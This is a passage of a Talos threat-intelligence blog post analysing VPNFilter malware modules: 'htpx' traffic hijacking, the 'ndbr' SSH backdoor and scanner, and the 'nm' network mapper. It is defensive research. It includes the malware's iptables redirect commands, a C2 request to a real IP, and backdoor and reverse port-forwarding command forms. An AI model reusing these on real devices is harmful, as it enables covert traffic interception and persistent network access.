# VPNFilter III: More Tools for the Swiss Army Knife of Malware **blog.talosintelligence.com/2018/09/vpnfilter-part-3.html** ## Summary VPNFilter — [a multi-stage, modular framework that has infected hundreds of thousands of](https://blog.talosintelligence.com/2018/05/VPNFilter.html) network devices across the globe — is now known to possess even greater capabilities. Cisco Talos recently discovered seven additional third-stage VPNFilter modules that add significant functionality to the malware including an expanded ability to exploit endpoint ----- devices from footholds on compromised network devices. The new functions also include data filtering and multiple encrypted tunneling capabilities to mask command and control (C2) and data exfiltration traffic. And while we believe our work, and the work of our international coalition of partners, has mostly neutralized the threat from VPNFilter, it can still be difficult to detect in the wild if any devices remain unpatched. [Talos has been researching VPNFilter for months. Our initial findings are outlined here, and a](https://blog.talosintelligence.com/2018/05/VPNFilter.html) [description of additional modules used by the framework is here. As part of our continued](https://blog.talosintelligence.com/2018/06/vpnfilter-update.html) investigation, we developed a technique to examine a key protocol used by MikroTik networking devices to hunt for possible exploitation methods used by the actor. As we followed the thread of VPNFilter infections, it became clear that MikroTik network devices were heavily targeted by the threat actor, especially in Ukraine. Since these devices seemed to be critical to the actor's operational goals, this led us to try to understand how they were being exploited. Part of our investigation included the study of the protocol used by MikroTik's Winbox administration utility. In this blog, we'll share how and why we studied this protocol, as well as the decoder tool we developed as a way of helping the security community look into this protocol for potential malicious actor activity. The sophistication of VPNFilter drives home the point that this is a framework that all individuals and organizations should be tracking. Only an advanced and organized defense can combat these kinds of threats, and at the scale that VPNFilter is at, we cannot afford to overlook these new discoveries. ## Expanded VPNFilter capabilities The discovery of these additional VPNFilter third-stage modules has significantly added to our understanding of what we already knew to be an extremely potent threat. Together, these modules added: 1. Additional capabilities that could be leveraged to map networks and exploit endpoint systems that are connected to devices compromised by VPNFilter. 2. Multiple ways for the threat actor to obfuscate and/or encrypt malicious traffic, including communications used for C2 and data exfiltration. 3. Multiple tools that could be utilized to identify additional victims accessible from the actor's foothold on devices compromised by VPNFilter for both lateral movement within a network, as well as to identify new edge devices in other networks of interest to the actor. 4. The capacity to build a distributed network of proxies that could be leveraged in future unrelated attacks to provide a means of obfuscating the true source of attack traffic by making it appear as if the attacks originated from devices previously compromised by VPNFilter. ----- We were able to confirm the existence and capabilities of the malware after reverseengineering these additional modules. Previously, we had to make analytic assessments on the existence and nature of these capabilities based solely on telemetry analysis, which always leaves room for error. For example, we had previously noted what appeared to be devices compromised by VPNFilter conducting scans of large IP spaces that seemed focused on identifying other devices vulnerable to the methods of exploitation used by the actor associated with the VPNFilter malware. However, now we can discuss the specific third-stage module used for this activity. As a result of our continued research, we have furthered our understanding of the full scope of the capabilities associated with VPNFilter after examining these additional third-stage modules. ## Additional third-stage modules As previously described, Talos identified the following seven additional third-stage modules that greatly expanded the capabilities present within VPNFilter. Each of these modules is described in detail in the following sections. ### 'htpx' (endpoint exploitation module - executable injection) 'htpx' is a third-stage module for VPNFilter. This module shares similar code with the 'ssler' [module previously documented by Talos. The module relies heavily on open-source code](https://blog.talosintelligence.com/2018/06/vpnfilter-update.html) that can be traced to the original projects based on strings present within the binary. A good [example is 'libiptc.c', which is part of Netfilter.](https://git.netfilter.org/iptables/tree/libiptc/libiptc.c) ----- **Comparison of strings between 'htpx' (left) and 'ssler' (right).** The primary function present within the 'htpx' module is responsible for setting up iptables rules to forward network traffic destined for TCP port 80 to a local server running on port 8888. This redirection is accomplished by first loading kernel modules that allow for traffic management. These modules (Ip_tables.ko, Iptable_filter.ko, and Iptable_nat.ko) are loaded with the insmod shell command. The 'htpx' module then issues the following commands to surreptitiously forward traffic: iptables -I INPUT -p tcp --dport 8888 -j ACCEPT iptables -t nat -I PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 8888 It also periodically checks to ensure that these rules remain present by issuing similar delete commands then re-adding them. A temp file is also created called /var/run/htpx.pid. The following HTTP request is then generated: GET %s HTTP/1.1\r\nHost: 103.6.146.194\r\nAccept: */*\r\nUser-Agent: curl53\r\n\r\n During our analysis of the 'htpx' module, we were unable to elicit a response from C2 infrastructure, so we were unable to observe additional module operations. During our analysis of the module binary, we identified that the module inspects HTTP communications to identify the presence of Windows executables. When they are encountered, the ----- executable is flagged and added to a table. We assess with moderate confidence that this module could be leveraged by attackers to download a binary payload and allow for on-thefly patching of Windows executables as they pass through compromised devices. ### 'ndbr' (multi-functional SSH tool) The 'ndbr' module is a module with SSH capabilities that also has the ability to port-scan other IPs. This module uses the dropbear SSH server and client and is a modified version of the [dbmulti utility version 2017.75. We have identified several modifications to the standard](https://github.com/mkj/dropbear/blob/master/dbmulti.c) dropbear functionality. The first modifications are to the dbmulti utility itself. The typical utility can function as an SSH client, SSH server, perform data transfers using SCP, generate keys, or convert keys. The functionality is determined either by the program name or the first parameter passed to the program. The 'ndbr' module has replaced the ability to generate or convert keys with a network mapping (i.e., port-scanning) function as well as another function called 'ndbr.' Like the original "dbmulti" utility, the 'ndbr' module's functionality depends either on the name of the program or the first argument passed to the program. The arguments that the 'ndbr' module accepts are dropbear, dbclient, ssh, scp, ndbr, and nmap. A description of each of these arguments can be found in the following sections. **dropbear** The dropbear command instructs the 'ndbr' module to operate as an SSH server. The original dropbear code uses the default SSH port (TCP/22) to listen for connections. However, the code present within the 'ndbr' module has been modified to use a default port of TCP/63914. Other modifications to the original dropbear code change the way that host keyfiles are handled. The default keyfile path has been changed to /db_key, but the 'ndbr' module does not drop this file. Instead, the buf_readfile dropbear function has been modified to load the proper key from memory when the filename parameter is equal to /db_key. Instead of using password-based authentication, the dropbear server has been modified to authenticate via a proper public key, which is also embedded in the 'ndbr' executable. A bug in this modified code mishandles connections attempting to use an incorrect public key. These authentication failures cause the ndbr SSH server to become stuck in an infinite loop. There is no indication to the client, however, that the authentication has failed. At this time, we have been unable to identify a correct key that would allow for successful authentication with the ndbr SSH server — neither of the keys embedded in the 'ndbr' module (i.e., /db_key and /cli_key) were correct, and no corresponding keys were found in any other VPNFilterrelated binaries. **dbclient (ssh)** ----- If passed the dbclient or ssh parameter, the 'ndbr' module acts as the standard dropbear SSH command-line interface client but with modifications to its default options. As with the default keyfile with dropbear server command, the dbclient/ssh commands have a default identity file: /cli_key. At this time, we do not know what the dbclient (SSH client) is expected to connect to. **nmap** If passed the nmap argument, the 'ndbr' module will perform a port scan of an IP or range of IPs. The usage is: Usage %s -ip* -p* -noping -tcp -s -h/--help (print this help) **ndbr** If passed the ndbr argument, the 'ndbr' module will do one of three operations based on the other parameters it is passed. The SSH commands will make use of the default keys (i.e., /db_key and /cli_key) as described above. The third parameter must begin with the word "start," or the 'ndbr' module uninstalls itself. If the ndbr module is executed using the following parameters: $ ./ndbr_ ndbr "start proxy " The following dropbear SSH command will be executed: ssh -y -p prx@ srv_ping j()_ This causes the dropbear SSH client to connect to a remote host and issue the "srv_ping" command, which is likely used to register the victim with a C2 server. If the ndbr module is executed using the following parameters: `$ ./ndbr_ ndbr "start -l "` The dropbear SSH server (as described above) is started and begins listening on the port specified: `sshd -p ` ----- If the ndbr module is executed with the following parameters: `$ ./ndbr_ ndbr "start "` Remote port forwarding is set up by executing the following dropbear command (see above for explanation of the command options): `ssh -N -T -y -p -R :127.0.0.1:63914 @` ### 'nm' (network mapper) The 'nm' module is used to scan and map the local subnet. It iterates through all interfaces and starts by ARP scanning for all hosts on the subnet associated with each IP assigned to the interface. Once an ARP reply is received, nm will send an ICMP echo request to the discovered host. If an ICMP echo reply is received it will continue mapping by performing a port scan, trying to connect to the following remote TCP ports on the host: 9, 21, 22, 23, 25, 37, 42, 43, 53, 69, 70, 79, 80, 88, 103, 110, 115, 118, 123, 137, 138, 139, 143, 150, 156, 161, 190, 197, 389, 443, 445, 515, 546, 547, 569, 3306, 8080 or 8291. Next, it uses the MikroTik Network Discovery Protocol (MNDP) to locate any other MikroTik devices on the local network. If a MikroTik device replies to the MNDP ping, nm extracts the MAC address, system identity, version number, platform type, uptime in seconds, RouterOS software ID, RouterBoard model, and interface name from the discovered device. The nm module looks in /proc/net/arp to get information about the infected device's ARP table, revealing the IP and MAC addresses of neighboring devices. Next, the entire contents of /proc/net/wireless are gathered. The module performs a traceroute by first creating a TCP connection to 8.8.8.8:53 to confirm its availability (no data is sent), then ICMP echo requests are repeatedly sent to this IP with increasing TTLs. All of the network information that is gathered is saved to a temporary file named /var/run/repsc_